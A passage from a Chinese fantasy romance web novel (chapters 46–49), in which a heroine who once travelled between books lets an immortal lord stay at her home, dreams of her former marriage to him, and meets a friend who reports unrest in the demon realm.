朝玟这才注意到另一张椅子上放着几袋包好的药包,穿成一串,整齐的放在一起。
朝玟表情愣了愣,没想到沈修慈还记得她身上有伤。
她别扭道:“谢,谢谢啦,只是我自己也能买,仙尊不必对我这么客气。”
沈修慈手指拎起药包,对朝玟说:“你作为代驾,与我一同前往霜澜城,本应由我确保你的安全,结果却让你受伤,是我没有看顾好你,这些药,我理应赠你,还望不要推辞。”
郑舒听后颇为感动,转头沉下脸对朝玟道:“既然如此,你就不要推辞了。”
“诶……”朝玟手伸出一半,试图解释什么。
可郑舒不给朝玟再开口的机会,对沈修慈拱手:“仁衡,边走边说,我送送你。”
沈修慈随即跟随他的步伐前行。
郑舒走在前方,与沈修慈交谈了几句要事,面色显出几分认真。
顾忌郑舒并不知道她和沈修慈之间的关系,朝玟不便紧跟其后,便保持约五步的距离,缓缓地跟随。
朝玟玩着自己的小辫子,一边抓心挠肝的试图偷听。
她从刚才就觉得好奇,沈修慈来拜访郑舒,都和他谈了些什么?
什么……人选?沈修慈是要找郑舒要什么人吗?
这个距离,恰好什么都能听到一点,但也恰好什么也听不清。
郑舒说着,又突然想起什么,顿住步子,扭头对朝玟说。
“哦对了,你的朋友来京城了,叫我转告你一声,你今日若是有空,去酒楼见他一面。”
沈修慈也顿住步伐,眼眸淡淡瞥向她。
朝玟从沉思中回神,听到朋友两个字,眼眸中流露出欣喜。
是林琅来啦!林琅来找她玩儿啦!
她欢快应道:“好!”
郑舒又看向沈修慈,缓缓道。
“你上次书信问我,同心印若是失联,如何再次连接,我已经查到了。”
朝玟笑意僵直在嘴角,眼珠一转,带着几分惊恐的看向沈修慈。
郑舒笑眯眯道:“很简单,只需要再重新结一次血契就可以了。”
“我明白了。”沈修慈:“多谢。”
“小事。”
朝玟看了看沈修慈,又看了看郑舒,眼中警惕又疑惑。
但郑舒的神色淡然,似乎对沈修慈已经有同心印的事情并不知情。
想来,沈修慈应该没有提及这件事。
……
走到铺面之外,郑舒感受着秋风,眯起眼:“怕是要变天了。”
他不无遗憾道:“明天便是中秋,也不知,能否一睹明月的风采。”
“不过,赏月终究只是一种仪式罢了。”郑舒望着他们两人,微笑着说:“中秋佳节,团圆才是节庆的意义,不是吗?”
46. 魂魄不稳
沈修慈微微点头:“让天下的人团聚,让每个人都感受到幸福与安宁,这也是仙域一直以来的坚守。”
郑舒轻笑了一声:“明晚在京城,灵闻阁将在城北举办一场中秋庆典,如果你感兴趣,届时可以让朝玟带你好好游玩一番。”
沈修慈:“如此盛情,岂敢推辞。”
郑舒哈哈的笑了两声:“好,那明日我便在城北,等你过来。”
朝玟听到郑舒的话,冷着脸不吭声。
沈修慈怎么就答应郑舒了,她还没有答应呢?不问问她的意见吗?
郑舒说完之后,扭头看着朝玟,见她一脸的不高兴,撞了一下她的肩膀。
“你那宅子的租金,我已经跟你续上了,作为阁里招待贵客的开支,不记在你的头上,不用跟我客气,等你空了,再把路费还我,别忘了啊。”
朝玟皮笑肉不笑:“我可真是谢谢你啊。”
还租金都给她续上了,早不说晚不说,偏偏到现在走了才说。
郑舒这个老狐狸,明显就是早就打上了她那宅子的主意,要把她的宅子用来招待沈修慈。
不过既然租金已经交了,那么便能直接入住,倒是也让她省下了一笔麻烦。
郑舒欣慰的拍拍朝玟的肩膀:“带仙尊回去吧。”
朝玟不情不愿,慢腾腾地挪了挪步子,对沈修慈道:“那你跟我来吧。”
两个人并肩而走,又沉默不言,朝玟本来想等离开千里记行,就和他划清界限,只当灵闻阁里答应下来的那一些都不作数。
只是朝玟突然瞅到他手中拎着的药包,话到嘴边又咽了下去,从他的手中将药包顺手拿了过来,随口问道:“这都是些什么药材呀?”
沈修慈解释道:“都是灵草,能修复内伤,但对离魂之症没什么帮助,若想治好离魂,还是要跟我回一趟昆仑。”
朝玟听他提到回去,眼中又挂上警惕,语气也不由的一变:“你来找我,是不是就是想带我回去?你可别当我不知道,离魂之症就算是放任不管,我自己也能好。”
沈修慈平静道:“我说过,你如果不想跟我回去,我绝不会勉强你。”
“但昆仑有很多术法高强的仙者,可以帮你稳固神魂,固本培元,你的神魂本就不稳,若是放任不管,极有可能留下后遗症。”
他的话语坦白而诚恳,朝玟心中的疑虑逐渐消散,只是还有一个问题让她困惑不解:
“我的神魂一直不稳定吗?”
“神魂不稳,这是借尸还魂或夺舍之后常见的现象。”沈修慈稍作停顿,接着说:“这具身体与你的魂魄之间并非完全契合。”
朝玟愣了一下,随即平淡地应了一声“哦”。
沈修慈恢复了一些记忆,想必也已经回想起了她过去的模样。
他对这个世界的鬼怪之事了解深刻,能够推断出她现在的身体并非原身,这一点也不足为奇。
此刻提到魂魄一事,朝玟心中的好奇又被勾了出来,问道:“在人魂魄归位清醒之前,人会有魂魄搜寻身躯,最终复生之前的这一段记忆吗?”
她没有记忆,所以,其实对于她的魂魄是如何找到这一句身躯的过程,还是挺好奇的。
她在苏醒之前,究竟发生了什么呢?
这一具身体,与她曾在另一个世界的模样惊人地相似,甚至可以说是完全一致。
这让她每一次照镜子的时候都有一种错觉,以为这就是她自己。
以前不停的穿书,不停的扮演其他的角色,她都会根据任务需求使用不同的脸。
容貌成了她切换自己与角色的开关,面对陌生的面孔,她会全身心地投入到穿书任务的状态,但只要她回到自己的身体里,她就能再次切换回自己原本的模样。
但是现在不一样,虽然她仍然在书中世界,但是用着她自己的容貌,这带给她极大的肯定感以及认同感。
也让她越来越放松,让她越来越活得像她自己原本的性格,而且随着时间,她也的确逐渐的做回了她自己。
这种强烈的做回自己的感觉,让她时不时的就产生一种错位的认知:没准这就是她自己的身体,她并非是一个在书中世界漂泊的幽魂。
这让她能够稍稍的有一丝安慰。
但是沈修慈既然说她的魂魄与这副身躯并不能够完全融合,那就说明这一副身躯,并不是她原来的身体。
沈修慈回应道:“是否保留记忆,这取决于具体情况。如果魂魄已经化为鬼,那么记忆将会保留;但若魂魄仅仅作为纯粹的魂魄存在,那么在醒来之后,便不会拥有任何清醒前的记忆。”
听到他的解答,朝玟的错觉终于消失,她有一点点小失落,但是更多的是果然如此。
没有什么奇迹,没有什么死遁之后,她就能够重新做回她自己的奇迹,她的灵魂依旧被困在这个世界之中。
街上熙熙攘攘,朝玟抬头看天思索。
神魂不稳……听起来问题还挺严重的,但若是沈修慈不说的话,朝玟在这之前,其实并没有感到任何不适,神魂不稳就不稳吧,反正也影响不到她。
只是神魂不稳加上离魂症的后遗症,恐怕要引起一些重视。
她还是很惜命的,她好不容易才活下来,如今也没有系统再给她读档重来的机会,所以她对她的这一条性命格外的珍惜。
朝玟手上抱着那几提药包,问:“这个蕴养魂魄……若是有仙者相助的话,大概几日能好?”
“若是一般的仙士,短则十天,长则半月,若是术法高强的只需要七天,要是我的话,三天足够了。”
听到后半句话,朝玟诧异的抬头望了他一眼
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,只见他也正淡淡地垂着眸注视着她。
她夸赞道:“……那你还挺厉害的。”
“那你要用我吗?”沈修慈轻声问。
什么用不用的,这话问的……怎么把自己的姿态说的这样低?仿佛他是一件可以随意召唤、随意驱使的工具似的。
朝玟眨了眨眼,将目光投向别处,有些不自然地说:“你如果愿意帮我的话,我当然没有意见啊。”
头顶传来一声轻笑。
朝玟仰起脑袋,看见他笑了,不由得盯住看他。
她很少见到他展现出如此轻松愉快的表情,不像是平时那样稍纵即逝,而是笑容在笑过之后,依旧挂在眼角眉梢。她感到不解,好奇地问道:“你为什么笑啊?”
沈修慈回答:“我只是感到有些意外。”
他嗓音有些落寞:“我以为你不会答应,毕竟你总是回避,对我避之不及。”
“我本来想的是,要是你不想用我的话,我也会尽力自荐,直到你同意,不让你去找其他人。”
朝玟闻言,有些诧异,不知道沈修慈还有这样的想法。
她心中本来也没有想过要找别人。
郑舒当时提了一嘴,可以找仙士来帮忙蕴养魂魄的时候,她的第一个想到的人就是沈修慈。
在这个世界上,除了沈修慈,她总觉得其他人难以让她真正地信赖。
也不是说不能够跟别人交付信任,只是蕴养魂魄,这样将自己最脆弱的部分袒露出来,一不小心就会伤到自己,令她陷入万劫不复极其冒险的事情,她不放心交给别人去做。
朝玟打趣道。
“要是我不答应,你努力自荐又不成的话,还不如让我去找别人,难道你还要强买强卖吗?”
沈修慈没有回应,他的黑眸凝视着她,其中蕴含的情绪让她有些看不懂。
朝玟本意只是开个玩笑,但看到他露出这样的神色,仿佛被她的一句玩笑话猜中了心事,她脸上的笑容突然僵住了。
她心中突然涌起一种奇怪的感觉,仿佛有什么不对劲的地方。
但这种感觉转瞬即逝,她不想在这个问题上深究,于是她眨了眨眼,试图改变话题:“你为什么会出现在这里?你是真的来找阁主商量事情的吗?”
“是。”
沈修慈注视着她,简短的一个字,算作回应。
朝玟拖长了声音,意味深长地应了一声:“哦?”
“所以你是从几千公里之外连夜赶来京城,来找阁主谈事,而我刚好凑巧回到这里,你恰巧遇到了我,对吗?”
沈修慈沉默半晌。
朝玟斜着眼睛,半信半疑地看着他,一副“看你接下来怎么编”的表情。
他无奈地承认:“不是恰好,与郑阁主商议事情,只是顺带,我是专程来见你的。”
47. 开始同居
清晨的京城是很繁华的,洋溢着勃勃生机,众多居民纷纷踏上街头,为生活奔波劳碌。
方才她们走出千里记行的时候,人还不算多,但是走到了繁华的主街,人群便骤然密集起来,熙熙攘攘,好不热闹。
这正是朝玟回家的必经之路,再往前迈进少许,便能够到达她的那间宅邸了。
回气丹的效用已经所剩无几,朝玟身上有伤,故而走得很慢,沈修慈不由自主地放慢了自己的脚步,与他并肩缓行。
自从相互认出彼此从霜澜城出来以后,这是他们之间难得的宁静的时刻。
街上的行人大多步履匆匆,如同急流中的鱼,各自游向自己的目的地。而朝玟与沈修慈两人,则像是一对缓缓旋转的落叶,不知该往哪里飘,在这匆忙的人潮中显得格外悠然。
虽然格格不入了一些,但是却也没有与众不同到引起别人的侧目。
街道上的琉璃喜灯已经撤下来了,此刻,整条街被一股浓郁的节庆气息紧紧包裹,仿佛连风中都带着热闹的气息。
橙红色的灯笼,宛如一朵朵盛开的火焰花,高高悬挂在屋檐之下,还没亮起来,但是庄严而盛大的氛围已经拉开序幕。
朝玟听闻沈修慈的话语,脸上闪过一丝意料之中的微妙神色,但随即被更深的困惑所覆盖。
专程来见她?
不对呀,他不是昨晚已经决定和关曦详谈,大有跟着关曦回去的意思吗?
怎么千里迢迢的,又过来找她呢?
朝玟想到了昨天夜晚在客栈之中,沈修慈对她放水的行为。
亏她当时走的时候还欢天喜地,如今细思起来,其实沈修慈那时候也没有明说,究竟是不是打算不再跟着她,他只是给了她一个似是而非的暗示,是与不是全凭她自己领悟。
亏得她那时候还以为和他谈妥了。
朝玟感受到自己似乎被耍了,心情顿时一沉。
她沉着语调问:“你昨天该不会是故意让我走的吧?”
最后的那一句晚安,难道也是另有深意,其实不是不是一句客套话,而是只让她安生一晚上的意思?
朝玟心中怒气升腾。
朝玟一直都对沈修慈能跟像以前一样对待她不抱什么期待,但是没有想到他一点情面都不讲的时候,这么的令人可恨。
沈修慈本来就不爱她,想起的那一点回忆,也不足以支撑他对她的态度有任何的转变。
他是故意放她回来的,如此一来,恰好可以借助灵闻阁的力量来施压于她。他是算好了她一定无处可躲,一定会认真的来应付他。
沈修慈:“我那时并无此意。”
朝玟闻言眉头紧锁,正欲开口质问,却见他仿佛能洞察她的心思一般,抢先一步打断了她的话,继续说道:
“也绝无强迫你跟我回去的念头。”
朝玟被他连续否定了两个猜测,一时间有些懵然,心中的怒气霎时一散,思绪混乱,除此之外,实在想不出其他缘由,于是犹豫着问道:
“那……那你来找我是?”
沈修慈:“你走之后,我又独自想了想,我想我们之间的关系,以及你对我来说,究竟意味着什么。”
听到他说的话,朝玟心中涌现上一种很奇怪的感觉,她感到有一些害怕,还有一些期待,但在这两种情绪之间,后者占据了上风,迫使着她屏息凝神,听着他说话。
她认为,她害怕的原因是在她和沈修慈之间,还从未这样交流过,这样深入对白的句式在他们之间是完全陌生的。
沈修慈:“我想我之前想要带你回去,是因为我认为你我既然是夫妻,我就对你有一份责任。”
“我以为是责任驱使着我,才对你如此执着。”
他的记忆想起来的不多,都是一些片段,但心底所感知到的这些片段中的情感,却深深触动了他。
那是一种铭刻在骨髓中的眷恋,以及一种如细水长流般无法割舍的情感,它并非源自于血液中翻腾的那根血线,而是源自于他内心深处的真实意愿。
但是话到嘴边,又不知道该如何开口。
“既然你不愿意随我离去,我便给自己三天的时间,”他缓缓说道,“让我彻底弄清楚内心的真实想法,同时,也用这三天的时间,与你正式道别。”
朝玟在前面走着,不知不觉间,与沈修慈的距离逐渐拉大,朝玟回头望他,他们之间,隔着熙熙攘攘的人群。
朝玟十分意外道:“道别?”
沈修慈站在原地,对她点了点头。
朝玟眼睛一眨不眨的盯着他,就仿佛只要她错开视线,下一秒,沈修慈就要被人群给冲散了一样。
沈修慈走上前来,站在她的面前道:“你也很清楚昆仑的局势,我在人间最多只能再争取三天的时间。”
他顿了顿,目光中流露出复杂的情绪:“我知道,你对我也并非全然排斥,你只是不愿意再和我有任何的瓜葛。”
“找到你,带你走,只是我的执念,与你无关。”
“我知道,不该再打扰你,可是,我再也不会有这样在人间停留的机会了,若是错过,你我从此不复相见。”
不复相见,这就是事实。
如果错过这三天,朝玟会立刻收拾行李,从此另找一个地方隐姓埋名,绝不再让沈修慈能够找到她。
“所以我想着,无论你怎么想的,我都要来见你一面。”
朝玟的心境纷繁复杂,犹如交织的线团,难以理清。
确实,一旦错过了这次机会,她和沈修慈将再无相见之可能。
她突然意识到,从今天开始,这就是她和沈修慈最后相处的时光。
在这浩瀚的天地之间,人与人之间的距离可以如此接近,也可以如此遥远。
今日尚能并肩,明日却可能永诀。
这本是她应该期望的结局,但听到沈修慈亲口说出,朝玟的心中却没有预想的那样如释重负般的喜悦。
朝玟本来想的是,只要知道他们都能够过得好,也就够了,她要过好她的人生,不要再扮演谁,不要再为了攻略去和谁在一起。
但是在真正的意识到,他以后和沈修慈将再也没有交集的时候,她却并没有感到意料之中的如愿以偿。
她眼中闪过一抹迷茫,她好像,不太清楚她到底想要什么了。
秋风萧瑟,带着一丝凉意。
沈修慈轻轻从朝玟手中取回药包,自己提在手里,语气中透露出关怀:“风大了,别再站着,快回去吧。”
朝玟从出神的状态中回过神来,简短地应了一声“哦”,随后一路上,她都保持着沉默,没有再说一句话。
她的心中充斥着一种麻木而又纠结的情绪,这种情绪不断扰乱着她的思绪,使得她的思考变得飘忽不定,仿佛心烦意乱,但她却又无法明确这种情感的来源。
然而,当她的手推开家门的瞬间,这份困扰她的感觉似乎暂时消散无踪。
……
她曾无数次幻想,如果拥有一个完全属于自己的家,会是什么样子的。
她想,如果她有一个自己的家的话,她一定要有一个小院子,要种上很多的绿植,让它们环环相扣,交织错落,一年四季,都能看到美丽的风景。
再有一间很温馨的卧室,一个有烤箱的厨房,厨房里放上榨汁机、咖啡机等等,再加一个巨大的冰箱,这样就能够随时吃到她想吃的东西。
在这个属于她的小天地里,她可以尽情地享受生活的每一刻。
然而现实是,尽管她拥有了房子,却缺乏精力去精心装饰。
她选择了极简的装修风格,这样更容易打理,因为如果装饰太过复杂,就会分散她的精力,无法全情投入到工作中。
她经常穿书,穿书就是工作,而工作几乎占据了她的全部生活。
她就像一阵风一
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样,经常飘忽不定,只会短暂的回到该属于她自己的地方。
有时候遇到突发事件,还会身不由己,她经常连自己都自顾不暇,怎么会分出时间来整理一间偶尔才会回去的房子呢?
这样的一个家,与其说是一个令人感到安心的地方,对她而言,不如说只是一个暂时能够让她舒舒服服睡一觉的居所。
但是她对于一间温馨的小家的向往,却一直存在在心底。
在与系统解绑之后,她终于实现了长久以来的梦想。
推开门,眼前展现的是一个小巧的院落。一盆盆花草错落有致地摆放在院子里,一路延伸至另一端的圆拱门。
这些花草都是她一眼便喜欢的,它们或许不够名贵、不够精致,她也没有刻意修剪出某种造型,但它们都散发着一种不拘小节、自由生长的勃勃生机。
尽管她任由它们自由生长,但这些植物毕竟还是盆栽,需要朝玟每日为它们浇水、修剪枝叶。
照料这些植物,虽然需要花费一些心思和功夫,但他乐在其中。
院子外,一棵玉兰树伸出几枝花枝,探入院内,正值花期,那洁白如玉的花朵盛开,显得分外雅致。
这座宅子,既有着新宅的气象,又透露出岁月的痕迹,但整体保持着干净与整洁,在那些精致的雕花屋檐和转角的细节中,可以窥见这里曾是一位达官显贵的居所。
宅子的风格她并未作过多改动,一则是因为她只是租客,房屋属于他人资产,她不能随意更动;二则是改动细节过于繁琐,她懒得费心,便干脆保留了原貌。
朝玟走进宅子里,简短舒服地叹了一口气,然后走到一盆松柏盆景前,心疼的看了眼那开裂且颜色发灰的泥土,舀了一勺水浇上去。
看沈修慈站在门口,朝玟伸手一指:“那是我的房间。”
她的手轻轻向右一移,指向她卧室旁边的一间空房:“那也是一间卧房,除了光线不太好,其他的都不错。”
沈修慈点头应道:“明白了。”他踏入屋内,环顾四周后,又询问:“厨房在何处?”
朝玟又伸手给他一指。
沈修慈便提着药包,直接朝厨房走去。
不一会儿,厨房里传来了瓷碗与其他器皿清脆相碰的声响。
朝玟心中泛起好奇,跟随着脚步走进了厨房,只见沈修慈正熟练地熬制着药材。
他身着素白长衣,身姿挺拔而洒脱,柔和的白色光影洒在他的侧脸上,有一种时光静止的宁静感。
只见他微微低着头,用那双曾斩杀无数魔物的手,轻轻盖上药罐的盖子。
炉火熊熊,他刚从水中抬起的手还带着微湿,便开始解开一旁的药包,等待着水沸腾。
沈修慈注意到朝玟站在门边,脸上写满了好奇,便解释道:“在仙魔边境驻守时,我常常需要自己熬药,所以对此略知一二。”
朝玟的疑惑被他一览无余的洞悉,她摸了摸鼻尖,轻声应道:“哦……”
没想到他还有这样的技能呢。
站在门边也是闲着,朝玟不想让自己显得太过闲散,便开口询问:“需要我帮忙吗?”
沈修慈温和回应道:“我来做就好,你去休息吧,连续奔波了这么多天,你也该累了。”
朝玟确实感到一回到家,那股累积的疲惫就仿佛一下子涌了上来,让她整个人的思绪都变得昏沉。
听到沈修慈的话,她心中如蒙大赦,立刻打了个哈欠,点头同意。
沈修慈在用她的厨房为她熬药,这让朝玟真切的意识到,沈修慈真的已经住进了她的家里,让她感到有些不自在。
在没有好感度作为评判标准的情况下,她发现自己不太懂得如何与沈修慈相处。
连日来的奔波让她几乎没有好好休息过,她几乎忘了做梦的感觉。一旦躺下,那些久违的梦境便又缠绕在她的睡梦中。
她再次梦见了以前的时光。
48. 酒楼赴约
自从她死遁成功,从灵闻阁醒来之后,时不时的便会做梦,而且梦到的都是和以前有关的内容。
但是很多时候她都是梦过了,醒来后,情绪往往在一瞬间涌上心头,随后便如晨雾般消散,梦中的内容也随之模糊不清。
但是这一次也许是太累了,她睡得很沉,梦的很深刻,也记得很清楚。
那是一个阳光透过薄云,温和地洒在窗棂上的早晨。
她早上起来之后,在梳妆的时候,纠结着要带哪一朵头花,是带步摇还是带绒花。
她拿不定注意,随口问了一句。
沈修慈从奏章中抬头看了一眼,说:“绒花好看,很衬你。”
朝玟勾唇一笑,她也是这样觉得的。
那朵绒花,漂亮到让朝玟一眼就心动,但是想到一会儿要去听大臣们汇报,更适合步摇,所以就恋恋不舍的看了那朵绒花最后一眼,就将它锁进了妆奁里。
她将步摇轻轻插入发间,站起身来,对着镜子前后照了照。
镜中的女子,发饰与衣裳相得益彰,显得既端庄又不失灵动,她满意地点了点头。
她从镜子中瞄了身后一眼,却发现他一直在看她。
朝玟心中微微怔愣,今日他好像有空。
那眼神太过专注,于是,她轻盈地走到沈修慈的身边,微微侧头,以一种不经意的姿态,刻意问道:“好看吗?”
她想:或许可以借此刷一波好感度。
沈修慈的眼神穿过清晨的光线,落在朝玟的身上,那一刹那的凝视,不知为何有几分哀伤。
他笑着回答:好看。
朝玟捕捉到了他眼中的光芒,那是一种不加掩饰的真切的赞赏,让她心中涌起一丝喜悦。
然而,她期待的系统提示音却没有响起,那份喜悦瞬间被失落所取代。
每次都是这样。
每当她刻意去追求沈修慈的好感时,那份看似触手可及的情感就像被冰封了一样,毫无动静。而往往在她最不经意的时刻,又会突然死而复生,动弹那么一两下。
朝玟搞不准沈修慈,他究竟是在什么样的情况之下好感度会上涨,什么样的情况之下他又无感。
这让她有一种很深刻的无力感。
这种无力感贯穿了所有她和沈修慈相处时,她每次查看好感度的瞬间。
她把这样的梦称之为噩梦。
虽然梦到的是她的回忆,但是她却完全不想再回想起当时的任何一个场景,任何一个细节。
得不到回报,这让她崩溃。
以至于好感度到百分之八十的时候,她每天都会有一个疑问:沈修慈对她,真的有喜欢的感觉吗?
后来她想明白了,可能沈修慈对她的感觉不是喜欢,而只是一种习惯。
他对她从来只是客气,从来没有对她升起过任何探究的欲望。
他从不过问朝玟做为一个王姬,是如何懂得那么多的权谋手段的。以至于将几个山的山主全部控制的死死的,到了后面,还揽走了他一半的权柄,做到了与他平起平坐。
他对朝玟的能力和野心从未表现出丝毫的好奇,这种缺乏探究欲望的态度,使得他对朝玟缺乏必要的警惕。若是换了他人,一旦权势如此膨胀,恐怕早已遭受无情的猜忌与打压,直至无法翻身。然而,沈修慈却异常宽容地任由朝玟一步步揽权,达到了前所未有的地步。
朝玟并不认为这是一种幸运。她时常深思,沈修慈为何对她如此放心?难道他就不担心她的权力过大,心态膨胀,最终将他架空,取而代之吗?
他似乎真的不担心,他对朝玟有着毫无保留的信任。但这份信任在朝玟看来,却显得盲目而空洞,轻飘飘得让人感到不真实。
他的信任反而令她感到不信任。
朝玟甚至开始怀疑,如果不是因为他们之间的夫妻名分,如果不是因为他们彼此相伴了如此之久,如果不是沈修慈已经习惯了她的存在,就像习惯于呼吸空气一般自然,沈修慈或许根本就不会对她有任何的关注。
无论是那逐渐上升的好感度,还是沈修慈对她的种种态度,都在无声地证明着一件事:沈修慈对她的情感,并非喜欢,更非爱情,仅仅是习惯。
她告诉自己,如果她能帮他平定仙域的纷争,解决魔域的动荡,或许就能赢得他的赏识,就能提升他的好感。
她坚信,总有一天,沈修慈会真正爱上她,而那时,她也将能够从这个看似永无止境的婚姻关系中解脱出来,从这个让她感到束缚、如同牢笼般的书中世界抽身,完成她的使命,回到她自己的世界,重新成为那个自由如风的自己。
沈修慈对她的确很好,但这种好并不能填补她内心的空虚,她不想再在这段没有成就感、充满挫败与无力感的关系中挣扎了。
每次做一次有关过去的噩梦,她就会更加的坚定她现在所做的选择。
她能很好,而沈修慈也能很好,这就够了。
她一个异世的人,迟早要回到她的世界中去,沈修慈只是书中的角色,他们注定是不会有结果的,朝玟也从来没有想过会跟沈修慈有一个结果。
无论是夫妻的关系,还是长达十年的相处的时光,对于朝玟来说也不过只是一场镜花水月。
就像天道所说的,她一个世外之人,还真的把这个书中世界当真了吗?
朝玟从梦中迷迷糊糊醒了过来,这才发现沈修慈正站在床边,空气中弥漫着药物的苦涩味道。
她看到沈修慈有一些恍惚,有一种分不清楚梦境和现实之间的感觉。
朝玟问:“我睡了多久?”
“一个半时辰。”沈修慈说。
他不知来了多久,也不知道看了她多久,窗外的阳光斜斜地洒落进来,他静静地凝望着她,不带一丝声响。
他拿起桌上的药碗,用手掌感受了一下温度,然后递给她,问道:“已是申时过后,饿了吗?要不要出去吃些东西?”
朝玟听罢,迅速地从床上爬起,脸颊上还印着睡觉时压出的痕迹。
她接过药碗,一仰头,将药一饮而尽,然后对沈修慈说道:“不用了,我现在要去见一个人。”
沈修慈在床畔侧身坐着,轻声问:“见你的朋友?”
“对,林琅好不容易来一次,我打算跟他一起吃个饭。”朝玟说完才意识到她说出了林琅的名字,而这一次,沈修慈并不认识这个人。
不过无所谓了,反正沈修慈跟此人不会有什么关系,只是提到名字而已,没事的。
沈修慈突然听到一个陌生的名字,面上没有什么反应,只是问:“什么时候回来?”
“嗯……可能会晚一点回来,你不必等我,若是有什么要事要再和阁主商量的话,就尽管自便。”
朝玟边说边穿着鞋子,她下床的动作略显匆忙,走到门口时,脚步不由自主地停顿了一下。
她转过头,目光在药碗上停留了片刻,她轻声说:“多谢。”
声音中既有感激,也有难以言说的逃避。
没有了系统的好感度提示,朝玟感到有些迷茫,不知道该如何与沈修慈相处。
以前,她总是以角色所需的性格来与他相处,而他似乎也已经习惯了那样的她。现在,当她以真实的面貌出现在他面前时,她反而觉得与沈修慈的相处变得有些尴尬和不自在。
沈修慈对她而言,象征着不堪回的过去,只是做梦,便能够让她觉得可怕,觉得永远不愿意再回忆,更何况他就站在她的面前?
于是,她故意忽视了沈修慈那欲言又止的神情,也装作没有注意到他眼中闪过的那一抹失落。
她迅速地翻身下床,简单地整理了一下衣服上的褶皱和有些凌乱的发饰,然后像是逃避般地匆匆出门
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。
还好有林琅,否则今天下午她还真不知道该怎么和沈修慈单独相处。
林琅是特殊的存在,是在她进行无望的攻略任务时的慰藉,和林琅定期见面,是那时她唯一能够做回她自己的时候。
而且,她之前对林琅作出过承诺,若是再有空,还是会来人间找他的。
知己难求,她也确实不想失去这一个好友。
因此,在经历了死遁的变故之后,她并未多做迟疑,直奔昆仑山脚,与林琅重新成为了朋友,虽然他不记得她,但是他们两个还是一拍即合。
她如今在京城定居,与昆仑相隔千里,但林琅生性自由,喜欢四处游历。朝玟所在的京城位于人间中原,通衢之地,林琅若想前往其他方国,必然要经过这座都城。
因此,他们二人时常有机会相聚。
朝玟的脚步轻快,不久便抵达了约定的酒楼。
这一路上的风尘与波折,让她在再次见到林琅时,心中的喜悦如同泉水般涌出,朝玟难掩劫后余生的喜悦之意,对他迎着大大的笑脸,几乎是奔跑着向林琅走去。
林琅见状,手中的折扇唰的一声展开,一双桃花眼看见朝玟,也同样是笑眯眯的,久别重逢的喜悦让他爽朗地大笑两声:“我前几日到京,还特意去找了郑阁主,想打听你的消息,他说你不在,过几天就回,但也没说清楚是哪一天。我本打算今天就要离开的,没想到你竟然回来了。”
朝玟爽快地在他对面落座,笑容不减:“看来我回来的正是时候,你这次又准备去哪里玩儿?”
“兴兴玩玩,没有什么目的。”林琅翘起腿,看向窗外的悠悠白云:“这人间大千世界,但凡是我未曾涉足的地方,都有值得一探的美景,即便是随意走到一处,也足以让我流连忘返。”
他转过头,目光落在朝玟的身上,语气中带着一丝戏谑:“倒是你,京城虽然繁华,但久了也难免生厌,好不容易出趟远门,有没有遇到什么有趣的人,或者发生了什么好玩的事情?”
朝玟给自己斟了一杯茶,轻啜了一口,润了润喉咙道:“好玩的是倒是少有见闻,危险的,倒是遇到了一大堆,惊险异常,差点小命不保啊……好端端的出去,却让脑袋留下了毛病。”
林琅一听,立刻紧张起来,手中的折扇啪的一声合上:“伤到脑子了?你现在感觉怎么样?没事了吧?”
“小问题,死不了。”
朝玟说完,放下茶盏,目光却停留在桌面上的那壶酒上。
她凝视着酒壶上的泥封,以及不经意间飘散出的酒香,感叹一声。
“好酒啊,这才多久不见,你怎么变得这么大方了?”
林琅忙不迭地将朝玟面前的酒拿开:“既然受了伤,那你不宜再多喝酒了。”
朝玟见想法被看穿,又拿起茶杯来掩饰。
林琅轻嗤一声:“认识你不过三个月,至少有一半的时间都在看你醉生梦死,你这酒瘾,也不知道是怎么来的……要不是见你一直独自一人,我还以为你是因痛失所爱而借酒消愁呢。”
朝玟听他这么一说,喝茶的动作一顿,差点将口中的茶水喷出来,她略显尴尬的轻咳几声。
林琅上下打量他,手中的折扇唰的一开:“怎么了,这么大的反应?难道真的被我猜中了?”
朝玟无奈地摇了摇头,“能不能别一来就拿我开玩笑……”
林琅哈哈大笑:“虽然危险,但想必这一趟旅程也异常的精彩。”
朝玟点了点头,没有否认,她将这次去霜澜城的经历详细而生动地讲述给林琅听,尤其是她如何智斗那只傀儡鬼,险中求生的部分,她更是着重强调。
林琅听罢,手中的折扇轻轻摇动。
“一只魑魅,一只傀儡鬼,这等棘手……你这次能够平安的回来,不仅是靠你自己化险为夷,恐怕还另有高人相助吧?”
49. 可否婚配
朝玟:“一半一半吧。”
林琅见他猜对了,兴致上来,向前倾身问道:“哦?那你是遇到什么人了?”
朝玟一想到她这一趟旅程遇到的人是沈修慈,就神神秘秘笑道:“那可是一位十分厉害的仙君,说出来能吓死你,为了不让你免受惊吓,你还是别打听了。”
“搞得像是谁没有见过世面似的。”林琅觉得扫兴,切了一声。
“不过既然说起跟仙域的人,我也要告诉你一个让你大吃一惊的事。”
“魔域这段时间,可不太平哦。”
朝玟微微皱眉。
“我前些日在仙魔边境的一个村庄里面游历,发现边界附近多了很多蝣鬼在游荡,这种浊物诞生于魔域之中最污秽的沼泽里,按理来说,在魔域之中他们才能够活得久,更愿意待在魔域才对。”
“可现在,他们成群出现在仙魔边境,还有一些游荡到了人界北境,如此反常违背本性,肯定是因为魔域内部发生了什么大动静。”
林琅长叹一口气:“好不容易出世一个魔主,却在狱法之乱被封印,成了废棋,也不知道那些魑魅又要搞什么新花样。”
“如今仙域说是昆仑大权独揽,但实际上谁都看得清楚,如今是三家分立。昆仑又放弃联姻,一时半会也收不回白昊和蓬莱的权利,此时魔域要是做点什么,那位要应付,恐怕够呛。”
林琅慢悠悠斟酒,感叹道。
朝玟面色变得凝重起来,不免心中担忧。
沈修慈知道魔域的这一些动静吗?
她甚至现在就想过去告诉他这一消息,但是下一刻,她又压抑住了这样冲动的想法。
魔域有什么动静,沈修慈一向是最重视的,林琅这样一个云游四方的人都知道这件事情,说不定他早就知道了,用不着朝玟再跟他说一遍。
况且他两日后就要回去了,现在不知,回去也能知晓,也不需要朝玟现在跟他着急忙慌的汇报。
她如今不过是茫茫众生中的一粒微尘,天下事岂是她一个普通人能够左右的?
林琅道:“白昊狼子野心,难得逮到新主的错处,定会想办法借机生事。”
“但是白昊毕竟是旧老,又好面子,为找一个由头,这斯肯定会想方设法拉拢蓬莱,而蓬莱正与昆仑因联姻之事,心生嫌隙,被他拉拢,也很有可能啊。”
他双手一拍,又摊开,问朝玟:“此时,如何破局啊?”
朝玟抬手夹菜,腮帮子鼓鼓,边吃边问:“依你看,现在该如何破局?”
